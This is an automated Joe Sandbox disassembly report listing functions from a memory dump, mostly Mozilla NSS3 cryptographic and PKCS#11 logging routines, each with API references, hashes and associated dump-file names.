%s at line %d of [%.10s], xrefs: 6C5ADF7C, 6C5ADFEC
database corruption, xrefs: 6C5ADF77, 6C5ADFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5ADF6D, 6C5ADFCC, 6C5ADFDD

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 8de1b4e17dcee12da135345f7988b486f3e796fd9ca8e62b6169fe30cef892d4
Instruction ID: 86b152c22605dd4f1b1a16cede0d134e9c5b427ae3dcebfc08a2f7bebf5639aa
Opcode Fuzzy Hash: 8de1b4e17dcee12da135345f7988b486f3e796fd9ca8e62b6169fe30cef892d4
Instruction Fuzzy Hash: 76A1C4716042059FC710EF6ACC80A6FB7F5AF85308F15892DEC898BB51E730E956CBA1

Function 6C66EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C66EE0B

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C66EEE1

Part of subcall function 6C661D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C661D7E
Part of subcall function 6C661D50: EnterCriticalSection.KERNEL32(?), ref: 6C661D8E
Part of subcall function 6C661D50: PR_Unlock.NSS3(?), ref: 6C661DD3

TlsGetValue.KERNEL32 ref: 6C66EE51
EnterCriticalSection.KERNEL32(?), ref: 6C66EE65
PR_Unlock.NSS3(?), ref: 6C66EEA2
free.MOZGLUE(?), ref: 6C66EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C66EED0
PR_Unlock.NSS3(?), ref: 6C66EF48
free.MOZGLUE(?), ref: 6C66EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C66EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C66EFA4
free.MOZGLUE(?), ref: 6C66EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C66F055
free.MOZGLUE(?), ref: 6C66F060

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: c27203de4e95609ad0c79ebed2e08100e6c83c6d1c59fb046127e4d69e8622ad
Instruction ID: 2848b708a7f4aa60f23ed203d7477126bea1f37beb86a613d2e741c4d0d918aa
Opcode Fuzzy Hash: c27203de4e95609ad0c79ebed2e08100e6c83c6d1c59fb046127e4d69e8622ad
Instruction Fuzzy Hash: B9818171A00209ABDF01DF65DC45BDE7BB5FF49318F144024E909A3B11E731E925CBAA

Function 6C634CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C634D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C634D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C634DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C634E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C634E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C634E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C634E85
DER_Encode_Util.NSS3(?,?,6C7805A4,00000000), ref: 6C634EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C634F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C634F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C634F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C634F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C634F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C634FC8

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 47a40beb68c43dfefb49e619f98dc33965b73b8dbfdcfb0cfb39aab9dd1e030c
Instruction ID: 5400c9ff3b65266deae95cf8b6ba6fd5899c988db3adad38f9ef3239dd261c56
Opcode Fuzzy Hash: 47a40beb68c43dfefb49e619f98dc33965b73b8dbfdcfb0cfb39aab9dd1e030c
Instruction Fuzzy Hash: CC81A3719083119FE701CF24DC40B6ABBE4ABC5358F14A92DF95CCB640E772E905CB9A

Function 6C675C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C675C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C675CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C675CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C675D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C675D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C675E18
TlsGetValue.KERNEL32 ref: 6C675E5E
EnterCriticalSection.KERNEL32(?), ref: 6C675E72
PR_Unlock.NSS3(?), ref: 6C675E8B

Part of subcall function 6C66F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C66F854
Part of subcall function 6C66F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C66F868
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C66F882
Part of subcall function 6C66F820: free.MOZGLUE(04C483FF,?,?), ref: 6C66F889
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C66F8A4
Part of subcall function 6C66F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C66F8AB
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C66F8C9
Part of subcall function 6C66F820: free.MOZGLUE(280F10EC,?,?), ref: 6C66F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C675D3D
d, xrefs: 6C675C36

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 6450105c87a4d909b7b911676d7ae2dd7090f857e64fdabe23ad78ec108dc29d
Instruction ID: 80b5cac8e37edf18582333d6f0f26a8857dcbe238f0347bccdacbfedc995a74b
Opcode Fuzzy Hash: 6450105c87a4d909b7b911676d7ae2dd7090f857e64fdabe23ad78ec108dc29d
Instruction Fuzzy Hash: 847118F0E051019BEB219F25DC4576A3375AF4630DF240879D8199AB42EB32E915C7BE

Function 6C668F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C669582), ref: 6C668F5B

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C668F6A

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C668FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C668FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C74D820,6C669576), ref: 6C668FF9
DER_GetInteger_Util.NSS3(?), ref: 6C66901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C66903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C669062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6690A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6690CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6690F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C66912D
free.MOZGLUE(00000000), ref: 6C669136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C669145

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: d9a76fc0ca60a41a330765528841091c375cb9a261aa9509b29fc1e071d35016
Instruction ID: 46212b2900fdac8123f5bd22567562892e197c79564147a9195d936bcc9dad2d
Opcode Fuzzy Hash: d9a76fc0ca60a41a330765528841091c375cb9a261aa9509b29fc1e071d35016
Instruction Fuzzy Hash: CA51E4B1A042009BEB10CF29DC4179BB7E8AF99358F154929EC54C7B41E731E945CBEB

Function 6C65ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C65ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C65AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AE29

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C65AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C65AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C65AEA0

Strings

nsl, xrefs: 6C65AEB8, 6C65AEE6
C_MessageSignInit, xrefs: 6C65ADE1
hSession = 0x%x, xrefs: 6C65AE01, 6C65AE11
(CK_INVALID_HANDLE), xrefs: 6C65AE1F, 6C65AE80
hKey = 0x%x, xrefs: 6C65AE62, 6C65AE72

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nsl
API String ID: 332880674-3381343405
Opcode ID: bb48b9ce540f6259b9ca76786cb63c8250f0ea77f753dc74caaca9ce95a75f58
Instruction ID: af10e864e8b85fa2dbaf9aa89267d18c2ac49e74adc11612561c04813bda6dbf
Opcode Fuzzy Hash: bb48b9ce540f6259b9ca76786cb63c8250f0ea77f753dc74caaca9ce95a75f58
Instruction Fuzzy Hash: 7531F871B02114AFCB009F14DD8CBBE3B75AB4730DFA44435E5089BB12DB309929DBAA

Function 6C659EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C659F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C659F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C659F49

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C659F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C659F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C659FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C659FC0

Strings

nsl, xrefs: 6C659FD8, 6C65A006
C_MessageEncryptInit, xrefs: 6C659F01
hSession = 0x%x, xrefs: 6C659F21, 6C659F31
(CK_INVALID_HANDLE), xrefs: 6C659F3F, 6C659FA0
hKey = 0x%x, xrefs: 6C659F82, 6C659F92

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nsl
API String ID: 332880674-3854955705
Opcode ID: 4b3683c1e084aacc143abcaf28775447237f8251e08072ed6a6a05fa579ba66f
Instruction ID: 389567ed771be345772a5263c2611a2d07d0dde1a2660c18d8f03ff9bb294989
Opcode Fuzzy Hash: 4b3683c1e084aacc143abcaf28775447237f8251e08072ed6a6a05fa579ba66f
Instruction Fuzzy Hash: 5B31F871A02254ABCB009F14DD8CFAE3775BB4731DF648035F50897B42DB359929CB9A

Function 6C652DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C652DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C652E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C652E33

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C652E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C652E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C652E81

Strings

nsl, xrefs: 6C652E99, 6C652EC4
C_InitPIN, xrefs: 6C652DF1
pPin = 0x%p, xrefs: 6C652E63
hSession = 0x%x, xrefs: 6C652E0E, 6C652E1E
ulPinLen = %d, xrefs: 6C652E7C
(CK_INVALID_HANDLE), xrefs: 6C652E2C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nsl
API String ID: 1003633598-1268303819
Opcode ID: 73aeae515bc67ba0052aa2ba33287a39fd87ca41726e4d23fe4b815b50202b5e
Instruction ID: 1b75caea1196d8deca6e740c523a1a746194a817b4ff8e1c450bd2b55dab79fb
Opcode Fuzzy Hash: 73aeae515bc67ba0052aa2ba33287a39fd87ca41726e4d23fe4b815b50202b5e
Instruction Fuzzy Hash: 3D31E771B02114AFDB009B14DD8CB8E7BB5EB4731DF644034E908A7B12DB309D59CBAA

Function 6C657E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C657E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C657E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C657E63

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C657E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C657E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C657EB1

Strings

nsl, xrefs: 6C657EC9, 6C657EF7
hSession = 0x%x, xrefs: 6C657E3E, 6C657E4E
ulPartLen = %d, xrefs: 6C657EAC
pPart = 0x%p, xrefs: 6C657E93
(CK_INVALID_HANDLE), xrefs: 6C657E5C
C_VerifyUpdate, xrefs: 6C657E21

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nsl
API String ID: 1003633598-290688487
Opcode ID: a7b85e183c31dcf0976dfc1c6ba6c137aef776397699eb6022b1f59dd17ad3dd
Instruction ID: 528b3d7f0c3a1a8c3c60484dd3353e84e40bdc0d893595bf17aafb77f2e2d1be
Opcode Fuzzy Hash: a7b85e183c31dcf0976dfc1c6ba6c137aef776397699eb6022b1f59dd17ad3dd
Instruction Fuzzy Hash: D531D735B12254AFDB009B14DE4CB8E7BB5AB43319F658034E90897712DB309D59CBAA

Function 6C656EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C656F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C656F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C656F53

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C656F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C656F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C656FA1

Strings

nsl, xrefs: 6C656FB9, 6C656FE7
hSession = 0x%x, xrefs: 6C656F2E, 6C656F3E
ulPartLen = %d, xrefs: 6C656F9C
pPart = 0x%p, xrefs: 6C656F83
C_DigestUpdate, xrefs: 6C656F11
(CK_INVALID_HANDLE), xrefs: 6C656F4C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nsl
API String ID: 1003633598-4003348144
Opcode ID: 63d288486078b584c1d987e2f4d36771d718cd88029a9c07d3c9ac1499585237
Instruction ID: 6c936d6dc6f705c097c33ae9a9e6df71722412c58ac0f431abae2603ce2a61bd
Opcode Fuzzy Hash: 63d288486078b584c1d987e2f4d36771d718cd88029a9c07d3c9ac1499585237
Instruction Fuzzy Hash: 9931E935A121149FDB009B14DD8CB8A7BB6EB4331DFA58034E90897712DB31DD58CB9A

Function 6C657F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C657F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C657F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C657F93

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C657FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C657FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C657FE1

Strings

nsl, xrefs: 6C657FF9, 6C658027
C_VerifyFinal, xrefs: 6C657F51
hSession = 0x%x, xrefs: 6C657F6E, 6C657F7E
ulSignatureLen = %d, xrefs: 6C657FDC
(CK_INVALID_HANDLE), xrefs: 6C657F8C
pSignature = 0x%p, xrefs: 6C657FC3

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nsl
API String ID: 1003633598-1698892511
Opcode ID: d91bfd82e6ae0b0b2d002141cd0c589db7d5a27c616b378e70876d707771e89d
Instruction ID: 9c223dee2442da420a867eac0ba85b6875536b294cd27d26c815b19e73ee44fe
Opcode Fuzzy Hash: d91bfd82e6ae0b0b2d002141cd0c589db7d5a27c616b378e70876d707771e89d
Instruction Fuzzy Hash: 69310731A02114AFDB00DB14DD8CF8A7BB5AB47319F658031E90C97B12DB31A958CBAA

Function 6C61AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C61AF47

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

FreeLibrary.KERNEL32(?), ref: 6C61AF6D
free.MOZGLUE(?), ref: 6C61AFA4
free.MOZGLUE(?), ref: 6C61AFAA
PR_ExitMonitor.NSS3 ref: 6C61AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C61AFF5
PR_ExitMonitor.NSS3 ref: 6C61B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C61B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C61B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C61B03C

Strings

%s decr => %d, xrefs: 6C61AFF0
Unloaded library %s, xrefs: 6C61B023

Memory Dump Source

